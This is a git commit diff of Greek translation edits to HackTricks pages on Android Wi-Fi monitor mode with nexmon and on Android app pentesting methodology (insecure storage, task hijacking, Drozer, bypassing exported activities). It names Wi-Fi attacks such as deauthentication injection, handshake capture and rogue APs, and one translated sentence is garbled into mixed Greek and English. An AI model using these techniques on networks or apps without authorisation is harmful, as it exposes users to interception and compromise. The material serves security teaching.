mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
914ce5c0e6
commit
4d10ef73b2
@ -53,13 +53,13 @@ nexutil -m0; svc wifi enable
|
||||
```
|
||||
Ενεργοποιήστε το “Start monitor mode on airodump start” ώστε κάθε σάρωση του Hijacker να γίνεται σε εγγενή λειτουργία παρακολούθησης (`wlan0` αντί για `wlan0mon`).
|
||||
|
||||
Αν το Hijacker εμφανίζει σφάλματα κατά την εκκίνηση, δημιουργήστε τον απαιτούμενο φάκελο στην κοινή αποθήκευση και επανανοίξτε την εφαρμογή:
|
||||
Εάν το Hijacker εμφανίζει σφάλματα κατά την εκκίνηση, δημιουργήστε τον απαιτούμενο φάκελο στην κοινή αποθήκευση και επανανοίξτε την εφαρμογή:
|
||||
```bash
|
||||
mkdir -p /storage/emulated/0/Hijacker
|
||||
```
|
||||
### Τι σημαίνουν αυτές οι σημαίες `nexutil`;
|
||||
* **`-s0x613`** Γράφει τη μεταβλητή firmware 0x613 (FCAP_FRAME_INJECTION) → `1` (ενεργοποίηση TX τυχαίων πλαισίων).
|
||||
* **`-i`** Θέτει τη διεπαφή σε λειτουργία παρακολούθησης (ο επικεφαλής radiotap θα προστεθεί).
|
||||
* **`-i`** Θέτει τη διεπαφή σε λειτουργία παρακολούθησης (η κεφαλίδα radiotap θα προστεθεί).
|
||||
* **`-v2`** Ορίζει το επίπεδο λεπτομέρειας; `2` εκτυπώνει επιβεβαίωση και έκδοση firmware.
|
||||
* **`-m0`** Επαναφέρει τη διαχειριζόμενη λειτουργία (χρησιμοποιείται στην εντολή *disable*).
|
||||
|
||||
@ -97,16 +97,16 @@ wifite -i wlan0 # ή aircrack-ng, mdk4 …
|
||||
```
|
||||
4. Όταν τελειώσετε, απενεργοποιήστε τη λειτουργία παρακολούθησης όπως συνήθως στο Android.
|
||||
|
||||
Δεδομένου ότι το firmware χειρίζεται ήδη την έγχυση radiotap, τα εργαλεία χρήστη συμπ behave όπως σε έναν εξωτερικό προσαρμογέα Atheros.
|
||||
Δεδομένου ότι το firmware χειρίζεται ήδη την έγχυση radiotap, τα εργαλεία χρήστη συμπ behave just like on an external Atheros adapter.
|
||||
|
||||
---
|
||||
|
||||
## Τυπικές Επιθέσεις που είναι Δυνατές
|
||||
Μόλις η παρακολούθηση + TX είναι ενεργή μπορείτε να:
|
||||
* Καταγράψετε WPA(2/3-SAE) handshakes ή PMKID με `wifite`, `hcxdumptool`, `airodump-ng`.
|
||||
* Συλλάβετε WPA(2/3-SAE) handshakes ή PMKID με `wifite`, `hcxdumptool`, `airodump-ng`.
|
||||
* Εγχύσετε πλαίσια αποσύνδεσης / αποσύνδεσης για να αναγκάσετε τους πελάτες να επανασυνδεθούν.
|
||||
* Δημιουργήσετε αυθαίρετα πλαίσια διαχείρισης/δεδομένων με `mdk4`, `aireplay-ng`, Scapy, κ.λπ.
|
||||
* Δημιουργήσετε κακόβουλα AP ή να εκτελέσετε επιθέσεις KARMA/MANA απευθείας από το τηλέφωνο.
|
||||
* Δημιουργήσετε rogue APs ή να εκτελέσετε επιθέσεις KARMA/MANA απευθείας από το τηλέφωνο.
|
||||
|
||||
Η απόδοση στο Galaxy S10 είναι συγκρίσιμη με εξωτερικές USB NICs (~20 dBm TX, 2-3 M pps RX).
|
||||
|
||||
@ -114,8 +114,8 @@ wifite -i wlan0 # ή aircrack-ng, mdk4 …
|
||||
|
||||
## Αντιμετώπιση Προβλημάτων
|
||||
* `Device or resource busy` – βεβαιωθείτε ότι η **υπηρεσία Wi-Fi του Android είναι απενεργοποιημένη** (`svc wifi disable`) πριν ενεργοποιήσετε τη λειτουργία παρακολούθησης.
|
||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – η βιβλιοθήκη δεν έχει προφορτωθεί; ελέγξτε ξανά τη διαδρομή `LD_PRELOAD`.
|
||||
* Η έγχυση πλαισίων λειτουργεί αλλά δεν καταγράφηκαν πακέτα – ορισμένα ROMs μπλοκάρουν σκληρά κανάλια; δοκιμάστε `nexutil -c <channel>` ή `iwconfig wlan0 channel <n>`.
|
||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – η βιβλιοθήκη δεν είναι προ-φορτωμένη; ελέγξτε ξανά τη διαδρομή `LD_PRELOAD`.
|
||||
* Η έγχυση πλαισίων λειτουργεί αλλά δεν έχουν συλληφθεί πακέτα – ορισμένα ROMs μπλοκάρουν σκληρά κανάλια; δοκιμάστε `nexutil -c <channel>` ή `iwconfig wlan0 channel <n>`.
|
||||
* Το SELinux μπλοκάρει τη βιβλιοθήκη – ρυθμίστε τη συσκευή σε *Permissive* ή διορθώστε το πλαίσιο του module: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||
|
||||
---
|
||||
|
BIN
src/images/discount.jpeg
Normal file
BIN
src/images/discount.jpeg
Normal file
Binary file not shown.
After Width: | Height: | Size: 186 KiB |
@ -4,7 +4,7 @@
|
||||
|
||||
## Android Applications Basics
|
||||
|
||||
Συνιστάται ανεπιφύλακτα να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
|
||||
Είναι πολύ σημαντικό να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
@ -15,12 +15,12 @@ android-applications-basics.md
|
||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
|
||||
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
|
||||
|
||||
Ρίξτε μια ματιά στη παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
Ρίξτε μια ματιά στη λίστα με τις [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
|
||||
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
|
||||
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
@ -53,7 +53,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### Αναζητώντας ενδιαφέροντα στοιχεία
|
||||
|
||||
Απλά ρίχνοντας μια ματιά στις **αλφαβητικές σειρές** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε άλλο ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
|
||||
Απλά ρίχνοντας μια ματιά στις **αλφαβητικές ακολουθίες** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε άλλο ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -86,9 +86,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
tapjacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Hijacking Δραστηριοτήτων
|
||||
### Task Hijacking
|
||||
|
||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask`** χωρίς καμία καθορισμένη `taskAffinity` είναι ευάλωτη σε hijacking δραστηριοτήτων. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
|
||||
Περισσότερες πληροφορίες στο:
|
||||
|
||||
@ -100,7 +100,7 @@ android-task-hijacking.md
|
||||
|
||||
**Εσωτερική Αποθήκευση**
|
||||
|
||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να είναι **κοινά** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
|
||||
1. **Στατική Ανάλυση:**
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
|
||||
@ -124,7 +124,7 @@ android-task-hijacking.md
|
||||
Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
|
||||
|
||||
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
|
||||
|
||||
@ -154,7 +154,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
### Άλλοι έλεγχοι
|
||||
|
||||
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
|
||||
- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
|
||||
@ -178,7 +178,7 @@ react-native-application.md
|
||||
|
||||
### Superpacked Εφαρμογές
|
||||
|
||||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
|
||||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
|
||||
|
||||
### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα
|
||||
|
||||
@ -200,8 +200,8 @@ bypass-biometric-authentication-android.md
|
||||
|
||||
- **Εκτέλεση κώδικα**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Αποστολή SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Εγγενείς λειτουργίες** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Διαβάστε αυτό για να μάθετε **πώς να αναστρέψετε εγγενείς λειτουργίες**](reversing-native-libraries.md)
|
||||
- **Native functions** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Διαβάστε αυτό για να μάθετε **πώς να αναστρέψετε native functions**](reversing-native-libraries.md)
|
||||
|
||||
### **Άλλες τεχνικές**
|
||||
|
||||
@ -215,11 +215,11 @@ content-protocol.md
|
||||
|
||||
## Δυναμική Ανάλυση
|
||||
|
||||
> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το περιβάλλον (πιστοποιητικό Burp CA, Drozer και Frida κυρίως). Επομένως, μια ριζωμένη συσκευή (εξομοιωμένη ή όχι) είναι εξαιρετικά συνιστώμενη.
|
||||
> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το περιβάλλον (Burp CA cert, Drozer και Frida κυρίως). Επομένως, μια ριζωμένη συσκευή (εξομοιωμένη ή όχι) είναι εξαιρετικά συνιστώμενη.
|
||||
|
||||
### Διαδικτυακή Δυναμική Ανάλυση
|
||||
|
||||
Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και **να εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
|
||||
Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
|
||||
|
||||
Μπορείτε ακόμη να **δείτε τα logs της εφαρμογής σας** στο διαδίκτυο και να συνδεθείτε μέσω **adb**.
|
||||
|
||||
@ -231,7 +231,7 @@ content-protocol.md
|
||||
|
||||
#### Χρησιμοποιώντας έναν εξομοιωτή
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) οι **latest x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
|
||||
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
@ -250,7 +250,7 @@ avd-android-virtual-device.md
|
||||
|
||||
Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδεθείτε στην Android VM από μια διαφορετική VM με τα εργαλεία).
|
||||
|
||||
#### Χρησιμοποιήστε μια φυσική συσκευή
|
||||
#### Χρησιμοποιώντας μια φυσική συσκευή
|
||||
|
||||
Πρέπει να ενεργοποιήσετε τις **επιλογές αποσφαλμάτωσης** και θα ήταν καλό αν μπορείτε να **ριζώσετε** τη συσκευή:
|
||||
|
||||
@ -258,10 +258,10 @@ avd-android-virtual-device.md
|
||||
2. (Από Android 8.0) Επιλέξτε **Σύστημα**.
|
||||
3. Επιλέξτε **Σχετικά με το τηλέφωνο**.
|
||||
4. Πατήστε **Αριθμός κατασκευής** 7 φορές.
|
||||
5. Επιστρέψτε και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
|
||||
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, έτσι ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
> Σας προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
|
||||
### Ακούσια Διαρροή Δεδομένων
|
||||
|
||||
@ -270,7 +270,7 @@ avd-android-virtual-device.md
|
||||
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Το Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Σημειώστε ότι από **αργότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Ούτως ή άλλως, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**.
|
||||
|
||||
**Caching του Buffer Αντιγραφής/Επικόλλησης**
|
||||
@ -279,49 +279,49 @@ avd-android-virtual-device.md
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός καναλιού SSL για ασφάλεια.
|
||||
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός SSL καναλιού για ασφάλεια.
|
||||
|
||||
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
|
||||
|
||||
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
|
||||
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Οι περισσότερες εφαρμογές θα χρησιμοποιούν **εσωτερικές βάσεις δεδομένων SQLite** για να αποθηκεύσουν πληροφορίες. Κατά τη διάρκεια της pentest, ρίξτε μια **ματιά** στις **βάσεις δεδομένων** που δημιουργούνται, τα ονόματα των **τραπεζών** και **στηλών** και όλα τα **δεδομένα** που αποθηκεύονται γιατί θα μπορούσατε να βρείτε **ευαίσθητες πληροφορίες** (που θα ήταν μια ευπάθεια).\
|
||||
Οι περισσότερες εφαρμογές θα χρησιμοποιούν **εσωτερικές βάσεις δεδομένων SQLite** για να αποθηκεύσουν πληροφορίες. Κατά τη διάρκεια της pentest, ρίξτε μια **ματιά** στις **βάσεις δεδομένων** που δημιουργούνται, τα ονόματα των **πινάκων** και **στηλών** και όλα τα **δεδομένα** που αποθηκεύονται γιατί θα μπορούσατε να βρείτε **ευαίσθητες πληροφορίες** (που θα ήταν μια ευπάθεια).\
|
||||
Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **κρυπτογραφημένη** αλλά μπορείτε να **βρείτε** τον **κωδικό πρόσβασης** μέσα στην εφαρμογή, είναι ακόμα μια **ευπάθεια**.
|
||||
|
||||
Αριθμήστε τις τράπεζες χρησιμοποιώντας `.tables` και αριθμήστε τις στήλες των τραπεζών κάνοντας `.schema <table_name>`.
|
||||
Αριθμήστε τους πίνακες χρησιμοποιώντας `.tables` και αριθμήστε τις στήλες των πινάκων κάνοντας `.schema <table_name>`.
|
||||
|
||||
### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών)
|
||||
|
||||
Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\
|
||||
Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
|
||||
|
||||
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
|
||||
### Εκμετάλλευση Εξαγόμενων Δραστηριοτήτων
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
|
||||
Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
|
||||
|
||||
**Παράκαμψη εξουσιοδότησης**
|
||||
|
||||
Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
|
||||
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
|
||||
